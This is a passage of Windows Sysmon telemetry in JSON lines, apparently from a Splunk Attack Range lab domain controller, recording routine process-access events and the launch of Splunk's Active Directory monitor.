C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:03.682","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2821,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:03.682\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:03.682","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2822,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:03.682\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:03.682","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2823,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:03.682\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:03.682","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2824,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:03.682\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:03.682","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2825,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:03.682\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:03.682","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2826,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:03.682\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4063-5F2D-0000-0010EEDA0400}\r\nTargetProcessId: 3548\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:03.682","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4063-5F2D-0000-0010EEDA0400}","TargetProcessId":"3548","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2827,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:04.558\r\nProcessGuid: {90617006-4064-5F2D-0000-0010A9DC0400}\r\nProcessId: 4332\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nFileVersion: 8.0.2\r\nDescription: Active Directory monitor\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-admon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:04.558","ProcessGuid":"{90617006-4064-5F2D-0000-0010A9DC0400}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","FileVersion":"8.0.2","Description":"Active Directory monitor","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-admon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:52:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2828,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:04.557\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4064-5F2D-0000-0010A9DC0400}\r\nTargetProcessId: 4332\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:04.557","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4064-5F2D-0000-0010A9DC0400}","TargetProcessId":"4332","TargetImage":"C:\\Program 